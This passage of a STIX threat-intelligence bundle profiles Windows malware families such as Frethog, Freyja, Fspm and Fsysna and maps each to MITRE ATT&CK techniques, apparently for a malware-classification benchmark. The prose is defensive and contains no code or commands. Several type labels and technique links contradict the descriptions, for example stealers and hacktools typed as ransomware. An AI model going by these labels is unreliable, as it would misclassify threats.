      "source_ref": "malware--5994d12e-c5ef-565a-856a-d7335974de09",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freenew exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be307d4b-2f17-5c25-83b1-1e66f7acefe7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5994d12e-c5ef-565a-856a-d7335974de09",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freenew exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2d0e9589-a45d-5655-9a1b-6efd93e2396a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Frethog",
      "description": "<h3>Executive Summary</h3>\nFrethog (often classified as PWS:Win32/Frethog) is a malicious Password Stealer (PWS) Trojan engineered to covertly harvest and exfiltrate sensitive authentication credentials from compromised Windows systems. Unlike broad-spectrum botnets, Frethog acts as a precision data-harvesting tool, specifically targeting online gaming accounts, FTP credentials, and browser-stored passwords to facilitate immediate account takeover and financial fraud.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFrethog is typically distributed via spear-phishing campaigns, bundled with cracked software or \"cheats\" on peer-to-peer gaming networks, or deployed as a secondary payload by exploit kits.\n\nOnce executed, Frethog operates silently to harvest data:\n<ul>\n<li><strong>Targeted Credential Extraction:</strong> Frethog actively searches for and parses the local credential databases of major web browsers (Chrome, Firefox, Internet Explorer). It is also notoriously known for specifically targeting the configuration files of popular online games (like World of Warcraft or Steam) and FTP clients to steal session tokens and passwords.</li>\n<li><strong>Keylogging Capabilities:</strong> Some variants incorporate API hooking (e.g., `SetWindowsHookEx`) to record keystrokes, ensuring they capture passwords even if they are not permanently saved in the browser or application.</li>\n<li><strong>Data Exfiltration:</strong> The harvested credentials, along with basic system reconnaissance data, are compressed and rapidly exfiltrated to the attacker's Command and Control (C2) server, usually via HTTP POST requests or sometimes via automated email (SMTP).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Frethog infection is a critical security incident that immediately compromises user identity and access. The theft of corporate credentials (if the user utilizes the same passwords across personal and work accounts) allows attackers to bypass perimeter security, potentially leading to unauthorized access to enterprise VPNs or cloud infrastructure.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Endpoint Isolation:</strong> The highest priority is to disconnect the infected endpoint from the network to halt the active exfiltration of the stolen credentials.</li>\n<li><strong>Global Credential and Session Reset:</strong> It must be assumed that all passwords and session tokens present on the machine have been stolen. A mandatory, immediate reset of all associated enterprise passwords is required. The user must be advised to reset all personal accounts as well.</li>\n<li><strong>Complete Re-imaging:</strong> To ensure no hidden persistence mechanisms or secondary backdoors remain, the compromised endpoint must undergo a complete bare-metal wipe and re-image from a trusted baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Frethog",
        "Trojan.PWS.Frethog",
        "Infostealer.Frethog"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Frethog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/frethog"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4b9af06-f196-5793-b4e1-693ea85b66a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d0e9589-a45d-5655-9a1b-6efd93e2396a",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Frethog exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14de2231-976c-5924-a40e-e4a8b0d25e6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d0e9589-a45d-5655-9a1b-6efd93e2396a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Frethog exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--607e07d7-5c6b-5e98-992e-d67ebf396b81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d0e9589-a45d-5655-9a1b-6efd93e2396a",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Frethog exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4ad19957-7f2f-55a9-b970-f7ad87e19491",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Frethoq",
      "description": "<h3>Executive Summary</h3>\nFrethoq is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFrethoq is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Frethoq operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Frethoq ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Frethoq receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Frethoq infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Frethoq executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Frethoq frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Frethoq",
        "Downloader.Frethoq",
        "Win32/Frethoq"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Frethoq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/frethoq"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e975c7a-e4fa-5900-8164-63cdae84ea9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ad19957-7f2f-55a9-b970-f7ad87e19491",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Frethoq exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f0d13e2-9859-59e5-a95d-70a03be744ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ad19957-7f2f-55a9-b970-f7ad87e19491",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Frethoq exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7660a90-e2ac-57e2-9ee8-fb455622ccd2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ad19957-7f2f-55a9-b970-f7ad87e19491",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Frethoq exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d018c6ac-56fc-5cbd-8d75-de4828530b43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Freyja",
      "description": "TrojanSpy:Win32/Freyja is a specialized InfoStealer whose primary objective is to locate, extract, and exfiltrate sensitive data, credentials, and network configuration details from the infected Windows system (`T1005`). Unlike generic banking trojans, Freyja often targets corporate environments, seeking out FTP credentials, VPN profiles, and proprietary documents to facilitate deeper network breaches.<br><br><b>Understanding Freyja (Corporate InfoStealer)</b><br>To an end-user, the infection is entirely invisible. Their computer will continue to function normally. However, for a business, Freyja represents a critical data breach. The stolen credentials and network layouts are often sold to Initial Access Brokers (IABs) or ransomware gangs, who use them to launch devastating, enterprise-wide attacks.<br><br><b>Execution and Extraction Mechanics</b><br>Freyja is typically distributed via spearphishing campaigns targeting specific employees. Upon execution, it operates rapidly. It scans the Windows Registry and file system for saved passwords stored by web browsers (Chrome, Edge, Firefox), FTP clients (FileZilla, WinSCP), and email clients (Outlook) (`T1552.001`). It also searches for specific document types (e.g., `.docx`, `.pdf`, `.rdp`) in standard user directories. Once aggregated, this data is compressed, encrypted, and exfiltrated to the attacker's C2 server (`T1041`), often before the user even realizes the phishing document was malicious.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is intellectual property theft and the total compromise of the user's digital identity, paving the way for lateral movement. Host-based IoCs include EDR alerts for rapid, anomalous file access across multiple directories by an untrusted executable, and the execution of suspicious binaries from `%Temp%` or `%Downloads%`. Network IoCs include a brief burst of outbound HTTP POST or FTP traffic (exfiltrating the ZIP file containing the stolen data) immediately following the execution of the initial payload. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Freyja",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/freyja"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbb171f6-d468-59aa-b089-1008e0934f8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d018c6ac-56fc-5cbd-8d75-de4828530b43",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freyja exhibits technique T1552.001 (Credentials In Files (Stealing saved passwords from browsers and FTP clients))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--993e2175-7438-52bd-8b0a-db3ad7f3338c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d018c6ac-56fc-5cbd-8d75-de4828530b43",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freyja exhibits technique T1005 (Data from Local System (Scanning for and aggregating sensitive documents))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5eb18817-9f30-5420-b69b-e850fbffb4fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d018c6ac-56fc-5cbd-8d75-de4828530b43",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Freyja exhibits technique T1041 (Exfiltration Over C2 Channel (Sending the stolen data archive to the attacker's server))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2e8ba0c2-a130-56ff-b811-e56dbfed5a1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Frosparf",
      "description": "<h3>Executive Summary</h3>\nFrosparf is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFrosparf is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Frosparf operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Frosparf ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Frosparf receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Frosparf infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Frosparf executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Frosparf frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Frosparf",
        "Downloader.Frosparf",
        "Win32/Frosparf"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Frosparf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/frosparf"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c821c56-7fef-504e-b04b-678f1d097aaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e8ba0c2-a130-56ff-b811-e56dbfed5a1b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Frosparf exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4343c39-7ba8-5bd7-b77f-54c42620fe06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e8ba0c2-a130-56ff-b811-e56dbfed5a1b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Frosparf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9519e0d7-d6ad-5991-8648-d992e68f623b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e8ba0c2-a130-56ff-b811-e56dbfed5a1b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Frosparf exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a06a14a0-f146-523a-a60d-48dc82ea1129",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fspm",
      "description": "<h3>Executive Summary</h3>\nFspm is a classification typically applied to a HackTool or localized exploit script designed to bypass security controls or facilitate unauthorized access, often specifically targeting misconfigurations or vulnerabilities in file sharing protocols or specific enterprise software suites. The presence of an Fspm tool indicates a targeted attempt by an attacker (or an unauthorized insider) to map, exploit, or extract data from network resources.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFspm tools are generally not self-spreading malware. They are explicitly downloaded and executed by an attacker who has already gained initial access to a network (e.g., via a compromised VPN or RDP session) and is attempting to move laterally or locate sensitive data.\n\nCapabilities vary based on the specific variant, but generally focus on network exploitation:\n<ul>\n<li><strong>Protocol Scanning and Exploitation:</strong> The tool may rapidly scan the local subnet for specific open ports (like SMB/445 or FTP/21) and attempt to exploit known vulnerabilities or misconfigurations (such as anonymous access or weak default credentials).</li>\n<li><strong>Share Enumeration:</strong> Fspm tools often automate the process of mapping hidden or administrative network shares (e.g., `C$`, `ADMIN$`), allowing the attacker to locate file servers, backup repositories, or user directories that should be restricted.</li>\n<li><strong>Brute-Forcing:</strong> Some variants include localized brute-forcing capabilities, attempting a rapid dictionary attack against identified services using a hardcoded list of common corporate passwords.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of an Fspm tool is a critical security event indicating active, post-compromise lateral movement and reconnaissance. The attacker is actively mapping the internal network topology and attempting to identify targets for data exfiltration or ransomware deployment.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Endpoint Isolation:</strong> The endpoint where the Fspm tool was executed must be isolated from the network immediately to halt the active reconnaissance and prevent further lateral movement.</li>\n<li><strong>Hunt for Lateral Movement (Network Logs):</strong> Security analysts must review internal firewall logs, Windows Event Logs (specifically Event ID 4624 - Successful Logon), and EDR telemetry to trace the network connections initiated by the tool. Identify any internal servers or shares the attacker successfully accessed.</li>\n<li><strong>Re-imaging and Credential Audit:</strong> The compromised machine must be wiped and re-imaged from a known-good baseline. A comprehensive audit of network share permissions and service account credentials is required to remediate the vulnerabilities the tool was attempting to exploit.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Fspm",
        "Exploit.Win32.Fspm",
        "Tool.NetworkScanner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fspm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fspm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89267532-4795-5ffc-8b7d-ef16e3884580",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a06a14a0-f146-523a-a60d-48dc82ea1129",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fspm exhibits technique T1046 (Network Service Discovery)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--fe0cd66f-21f1-50af-9887-42431780df13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1135: Network Share Discovery",
      "description": "MITRE ATT&CK Technique T1135 (Network Share Discovery) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1135",
          "url": "https://attack.mitre.org/techniques/T1135/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7dfce6a-0995-51c1-86e4-e25480c4f931",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a06a14a0-f146-523a-a60d-48dc82ea1129",
      "target_ref": "attack-pattern--fe0cd66f-21f1-50af-9887-42431780df13",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fspm exhibits technique T1135 (Network Share Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccf17d04-c4ac-5a9e-9188-87a69c9c5f63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a06a14a0-f146-523a-a60d-48dc82ea1129",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fspm exhibits technique T1110.001 (Brute Force: Password Guessing)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0bd86dea-d18b-5771-b982-b57036dcccfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fsysna",
      "description": "Trojan:Win32/Fsysna (documented across vendor telemetry as Trojan.Win32.Fsysna, Win32/Fsysna, or Trojan.Win32.FSYSNA) is a sophisticated multi-stage trojan loader, backdoor, and enterprise lateral movement tool analyzed extensively by NHS Digital and cybersecurity agencies. Used by cybercriminal syndicates to stage high-impact attacks against enterprise and healthcare infrastructures, Fsysna is engineered for stealth and persistence. Upon initial infection\u2014frequently initiated through spear-phishing or compromised VPN/RDP credentials\u2014Fsysna terminates competing malware and diagnostic processes using taskkill and WMI commands. It establishes persistent scheduled tasks, maps local subnets for lateral propagation via SMB, and communicates with remote C2 servers over encrypted protocols to deliver enterprise ransomware, banking stealers, or cryptominers. (Observed samples in benchmark: 427)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Fsysna",
        "Trojan:Win32/Fsysna",
        "Trojan.Win32.Fsysna",
        "Win32/Fsysna",
        "Trojan.Win32.FSYSNA",
        "Fsysna Loader",
        "Trojan:Win32/Fsysna.gen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fsysna",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fsysna"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18cb24d9-0f88-5aca-8190-d5ed58bd7487",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bd86dea-d18b-5771-b982-b57036dcccfe",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fsysna exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--326b9363-f830-5e8f-898a-520e399e1976",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bd86dea-d18b-5771-b982-b57036dcccfe",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fsysna exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2d775ea-9f68-5be0-ad70-0721c4678106",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bd86dea-d18b-5771-b982-b57036dcccfe",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fsysna exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b40be6c-123a-5777-ba4b-216804655753",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bd86dea-d18b-5771-b982-b57036dcccfe",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fsysna exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d471eac-00bd-5eb3-bd7a-b18af609bbea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bd86dea-d18b-5771-b982-b57036dcccfe",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fsysna exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2966f2ff-1d5f-54ed-b26f-9dc356de4553",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fuerboos",
      "description": "Fuerboos (cataloged by Microsoft Defender as Trojan:Win32/Fuerboos, Trojan:Win32/Fuerboos!cl, Trojan:Win32/Fuerboos!MTB, and TrojanDownloader:Win32/Fuerboos, with related variants detected as Bearfoos) is a multi-stage Windows trojan and payload downloader active since 2016. Monitored through Microsoft's cloud-based heuristics engine (denoted by the !cl suffix), Fuerboos flags binaries exhibiting aggressive code packing, runtime obfuscation, and unauthorized system modifications. While frequently triggered as a false positive on custom-compiled developer utilities, self-extracting archive installers, and software wrappers requiring low-level Windows API hooking, genuine Fuerboos malware acts as an initial access broker and payload stager. In malicious campaigns, Fuerboos payloads are distributed via malvertising networks, fake browser update alerts, and deceptive software portals. Upon execution, the malware establishes registry run key persistence, disables security notifications, and initiates covert outbound HTTP connections to retrieve and execute secondary monetization modules, including silent click-fraud engines, browser hijackers, and rogue system cleaners. (Observed samples in benchmark: 110)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Fuerboos",
        "Trojan:Win32/Fuerboos!cl",
        "Trojan:Win32/Fuerboos!MTB",
        "TrojanDownloader:Win32/Fuerboos",
        "Win32/Bearfoos"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fuerboos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fuerboos"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
